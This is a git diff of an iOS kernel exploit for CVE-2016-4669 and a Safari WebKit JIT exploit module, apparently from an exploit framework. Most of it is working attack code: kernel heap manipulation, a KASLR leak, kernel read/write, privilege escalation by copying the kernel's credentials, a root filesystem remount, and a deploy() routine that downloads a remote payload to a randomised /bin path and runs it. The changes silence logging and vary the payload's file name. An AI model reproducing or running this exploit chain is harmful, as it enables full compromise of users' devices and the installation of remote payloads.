diff --git a/data/exploits/CVE-2016-4669/macho b/data/exploits/CVE-2016-4669/macho index ddb0d1360f671..4b6e6345d0845 100644 Binary files a/data/exploits/CVE-2016-4669/macho and b/data/exploits/CVE-2016-4669/macho differ diff --git a/external/source/exploits/CVE-2016-4669/macho.m b/external/source/exploits/CVE-2016-4669/macho.m index 9ded96bbdd16e..513c8b30f8dfe 100644 --- a/external/source/exploits/CVE-2016-4669/macho.m +++ b/external/source/exploits/CVE-2016-4669/macho.m @@ -78,7 +78,7 @@ {\ name = dlsym(RTLD_DEFAULT, ""#name"");\ if (!name) {\ - NSLog(@"could not resolve " #name "");\ + LOG("could not resolve " #name "");\ exit(-1);\ }\ }\ @@ -152,7 +152,7 @@ void gc() { kern_return_t kr = mach_zone_force_gc(mach_host_self()); if (kr != KERN_SUCCESS) { - NSLog(@"zone gc failed: %d", kr); + LOG("zone gc failed: %d", kr); exit(-1); } } @@ -212,10 +212,10 @@ int mach_ports_register_oob() // out of bounds. kern_return_t kr = mach_ports_register_oob(); if (kr != KERN_SUCCESS) { - NSLog(@"could not register oob"); + LOG("could not register oob"); return NULL; } - NSLog(@"oob port registered "); + LOG("oob port registered "); // free the rest of the messages for (int i=1; i= 0) { - NSLog(@"got port pipe %d, off: %04x\n", pipe_idx, pipe_off); + LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off); } else { - NSLog(@"could not find port pipe"); + LOG("could not find port pipe"); exit(-1); } @@ -749,7 +749,7 @@ int main(int argc, char** argv) // // We use method described in [3] to get kernel ASLR slide. addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off); - NSLog(@"slide: %08lx", slide); + LOG("slide: %08lx", slide); // Now we want to get kernel read using pid_for_task trap trick. // The details on that can be found in [2]. @@ -797,7 +797,7 @@ int main(int argc, char** argv) MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); if (kr != KERN_SUCCESS) { - NSLog(@"mach_port_request_notification failed, %x", kr); + LOG("mach_port_request_notification failed, %x", kr); } } @@ -811,7 +811,7 @@ int main(int argc, char** argv) MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); if (kr != KERN_SUCCESS) { - NSLog(@"mach_port_request_notification failed, %x", kr); + LOG("mach_port_request_notification failed, %x", kr); } } @@ -879,7 +879,7 @@ int main(int argc, char** argv) MACH_NOTIFY_DEAD_NAME, 0, notify_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); if (kr != KERN_SUCCESS) { - NSLog(@"mach_port_request_notification failed kr: %x", kr); + LOG("mach_port_request_notification failed kr: %x", kr); exit(-1); } @@ -888,7 +888,7 @@ int main(int argc, char** argv) super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) { ip_requests = mp->p32[off32(IPC_PORT_ip_requests)]; }); - NSLog(@"got ip_requests: %lx", ip_requests); + LOG("got ip_requests: %lx", ip_requests); // -8 we need for +8 pid offset in proc structure. // + 8 is for second ipc_port_request record. @@ -932,10 +932,10 @@ int main(int argc, char** argv) addr_t notify_port_addr; kr = pid_for_task(super_port, (int *)¬ify_port_addr); if (kr != KERN_SUCCESS) { - NSLog(@"pid_for_task failed"); + LOG("pid_for_task failed"); exit(-1); } - NSLog(@"notify addr: %lx", notify_port_addr); + LOG("notify addr: %lx", notify_port_addr); // Update the content of the task port so when we call pid_for_task // it's going to use the value of notify_port ip_context field // as bsd_info. @@ -945,14 +945,14 @@ int main(int argc, char** argv) uint32_t dummy = 0; if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) { - NSLog(@"early kernel read failed"); + LOG("early kernel read failed"); exit(-1); } if (dummy != 0xFEEDFACE) { - NSLog(@"could not setup early kernel read"); + LOG("could not setup early kernel read"); exit(-1); } - NSLog(@"got early kernel read"); + LOG("got early kernel read"); // remove our notification port, to be able to safely release the // super_port later on. @@ -960,7 +960,7 @@ int main(int argc, char** argv) MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL, MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); if (kr != KERN_SUCCESS) { - NSLog(@"mach_port_request_notification failed kr: %x", kr); + LOG("mach_port_request_notification failed kr: %x", kr); exit(-1); } @@ -971,7 +971,7 @@ int main(int argc, char** argv) super_port, notify_port) < 0) { exit(0); } - NSLog(@"kernel_task: %lx", kernel_task); + LOG("kernel_task: %lx", kernel_task); addr_t kernel_space; addr_t kernel_itk_self; @@ -980,7 +980,7 @@ int main(int argc, char** argv) kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space, super_port, notify_port); - NSLog(@"kernel_space: %lx", kernel_space); + LOG("kernel_space: %lx", kernel_space); addr_t self_space; kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space, @@ -988,12 +988,12 @@ int main(int argc, char** argv) addr_t super_port_addr = kread0_port_addr(self_space, super_port, super_port, notify_port); - NSLog(@"super_port_addr: %lx", super_port_addr); + LOG("super_port_addr: %lx", super_port_addr); // setup port for kernel task as outlined in [2] super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space, super_port_addr); - NSLog(@"got tfp0"); + LOG("got tfp0"); tfp0 = super_port; // resume thread, otherwise we lose some of @@ -1001,7 +1001,7 @@ int main(int argc, char** argv) for_other_threads(^(thread_act_t t) { kern_return_t kr = thread_resume(t); if (kr != KERN_SUCCESS) - NSLog(@"could not resume a thread"); + LOG("could not resume a thread"); }); shell_main(self_space, slide); diff --git a/external/source/exploits/CVE-2016-4669/shell.m b/external/source/exploits/CVE-2016-4669/shell.m index 241a67a4a1358..170a1346fe037 100644 --- a/external/source/exploits/CVE-2016-4669/shell.m +++ b/external/source/exploits/CVE-2016-4669/shell.m @@ -62,11 +62,11 @@ int remount_root_rw(addr_t slide) char* nmz = strdup("/dev/disk0s1s1"); int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); if (ret < 0) { - NSLog(@"mount failed ret: %d", ret); + LOG("mount failed ret: %d", ret); return -1; } - NSLog(@"root fs mounted r/w"); + LOG("root fs mounted r/w"); kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY); return 0; } @@ -85,71 +85,61 @@ int remount_root_ro(addr_t slide) char* nmz = strdup("/dev/disk0s1s1"); int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); if (ret < 0) { - NSLog(@"mount failed ret: %d", ret); + LOG("mount failed ret: %d", ret); return -1; } - NSLog(@"root fs mounted ro"); + LOG("root fs mounted ro"); kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS); return 0; } +void random_string(char *s, const int len) { + static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; + for (int i = 0; i < len; ++i) { + s[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; + } + s[len] = 0; +} + void deploy() { - download(PAYLOAD_URL_PLACEHOLDER, "/bin/m"); + char* path = "/bin/random"; + random_string(path + 5, 6); + download(PAYLOAD_URL_PLACEHOLDER, path); pid_t pid = 0; - char *path = "/bin/m"; char *args[] = {path, NULL}; int ret = posix_spawn(&pid, path, 0, 0, args, NULL); if (ret < 0) { - NSLog(@"posix_spawn failed: %d", ret); + LOG("posix_spawn failed: %d", ret); return; } waitpid(pid, 0, 0); - NSLog(@"shell deployed"); + LOG("shell deployed"); } void shell_main(addr_t self_space, addr_t slide) { addr_t self_addr = get_port_addr(self_space, mach_task_self()); - NSLog(@"self_addr: %lx", self_addr); + LOG("self_addr: %lx", self_addr); addr_t self_task = kr32(self_addr + IPC_PORT_kobject); - NSLog(@"self_task: %lx", self_task); + LOG("self_task: %lx", self_task); addr_t self_proc = kr32(self_task + TASK_bsd_proc); - NSLog(@"self_proc: %lx", self_proc); + LOG("self_proc: %lx", self_proc); addr_t kernel_proc = proc_for_pid(self_proc, 0); - NSLog(@"kernel_proc: %lx", kernel_proc); + LOG("kernel_proc: %lx", kernel_proc); // privilege escalation from [1] addr_t self_ucred = kr32(self_proc + PROC_ucred); addr_t kernel_cred = kr32(kernel_proc + PROC_ucred); kw32(self_proc + PROC_ucred, kernel_cred); - NSLog(@"got root uid: %d, gid: %d", getuid(), getgid()); - - //uint32_t cs_enforcement_disable = 0; - //size_t kernel_size = 0x1000000; - //void *kernel = malloc(kernel_size); - //if (kernel) { - //kread(koffsets.base + slide, kernel, kernel_size); - //NSLog(@"got %zu kernel bytes xx", kernel_size); - //cs_enforcement_disable = find_cs_enforcement_disable_amfi(0, kernel, kernel_size); - //} else { - //NSLog(@"malloc kernel_size failed"); - //} - //if (cs_enforcement_disable != 0) { - //NSLog(@"patchfinder got cs_enforcement_disable: %lx", - //cs_enforcement_disable + koffsets.base + slide); - //koffsets.cs_enforcement_disable = cs_enforcement_disable + koffsets.base; - //koffsets.amfi_allow_any_signature = koffsets.cs_enforcement_disable - 8; - //} else { - NSLog(@"patchfinder skipped!! using hardcoded offsets"); - //} - //free(kernel); + LOG("got root uid: %d, gid: %d", getuid(), getgid()); + // disable code signing by overwriting kernel arguments // as described in [2] // diff --git a/external/source/exploits/CVE-2016-4669/utils.h b/external/source/exploits/CVE-2016-4669/utils.h index 85f90bd87ea43..e2a9838899c0f 100644 --- a/external/source/exploits/CVE-2016-4669/utils.h +++ b/external/source/exploits/CVE-2016-4669/utils.h @@ -43,4 +43,11 @@ void pipes_close(int *pipes, size_t count); int pipes_create(int *pipes, size_t count); int pipes_alloc(int *pipes, size_t count, char *pipe_buf); +//#define DEBUG 1 +#ifdef DEBUG +#define LOG(str, args...) do { NSLog(@str, ##args); } while(0) +#else +#define LOG(str, args...) do {} while(0) +#endif + #endif diff --git a/external/source/exploits/CVE-2016-4669/utils.m b/external/source/exploits/CVE-2016-4669/utils.m index 3592f621c67f7..b0bbfe2fa041e 100644 --- a/external/source/exploits/CVE-2016-4669/utils.m +++ b/external/source/exploits/CVE-2016-4669/utils.m @@ -10,7 +10,7 @@ void for_other_threads(void (^handler)(thread_act_t thread)) kr = task_threads(mach_task_self(), &list, &count); if (kr != KERN_SUCCESS) { - NSLog(@"task_threads failed"); + LOG("task_threads failed"); return; } @@ -27,29 +27,29 @@ void set_nofile_limit() struct rlimit rlim; ret = getrlimit(RLIMIT_NOFILE, &rlim); if (ret < 0) { - NSLog(@"getresuid failed errno: %d", errno); + LOG("getresuid failed errno: %d", errno); exit(-1); } - NSLog(@"nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max); + LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max); rlim.rlim_cur = 0x2000; ret = setrlimit(RLIMIT_NOFILE, &rlim); if (ret < 0) { - NSLog(@"setrlimit failed errno: %d", errno); + LOG("setrlimit failed errno: %d", errno); exit(-1); } - NSLog(@"set new nofile limit: %llx", rlim.rlim_cur); + LOG("set new nofile limit: %llx", rlim.rlim_cur); } NSData *download_data(NSString *_url) { NSURL *url = [NSURL URLWithString:_url]; - NSLog(@"get %@", url); + LOG("get %@", url); NSData *urlData = [NSData dataWithContentsOfURL:url]; if (urlData != nil) - NSLog(@"got remote len: %d", [urlData length]); + LOG("got remote len: %d", [urlData length]); else - NSLog(@"could not get %@", url); + LOG("could not get %@", url); return urlData; } @@ -70,12 +70,12 @@ int download(char *src, char *dest) S_IROTH | S_IXOTH ); if (fd < 0) { - NSLog(@"could not open %s", dest); + LOG("could not open %s", dest); return -1; } int ret = write(fd, [data bytes], [data length]); - NSLog(@"saved to %s, write ret: %d", dest, ret); + LOG("saved to %s, write ret: %d", dest, ret); close(fd); sync(); @@ -90,13 +90,13 @@ mach_port_t alloc_port() err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (err != KERN_SUCCESS) { - NSLog(@"mach_port_allocate failed to allocate a port"); + LOG("mach_port_allocate failed to allocate a port"); } // insert a send right: err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { - NSLog(@"mach_port_insert_right failed"); + LOG("mach_port_insert_right failed"); } return port; @@ -147,7 +147,7 @@ kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cn MACH_PORT_NULL); if (err != KERN_SUCCESS) { - NSLog(@"sending kalloc.8 message failed %s\n", mach_error_string(err)); + LOG("sending kalloc.8 message failed %s\n", mach_error_string(err)); } return err; @@ -176,7 +176,7 @@ void discard_message(mach_port_t port) 0, 0); if (err != KERN_SUCCESS){ - NSLog(@"error receiving on port: %s\n", mach_error_string(err)); + LOG("error receiving on port: %s\n", mach_error_string(err)); } mach_msg_destroy(msg); @@ -187,7 +187,7 @@ void hexdump(void *ptr, size_t n) uint32_t *u32 = ptr; for (int i=0; i 'Safari JIT Exploit', + 'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2', 'Description' => %q{ - This module exploits a JIT optimisation bug in Safari Webkit. This allows us to + This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the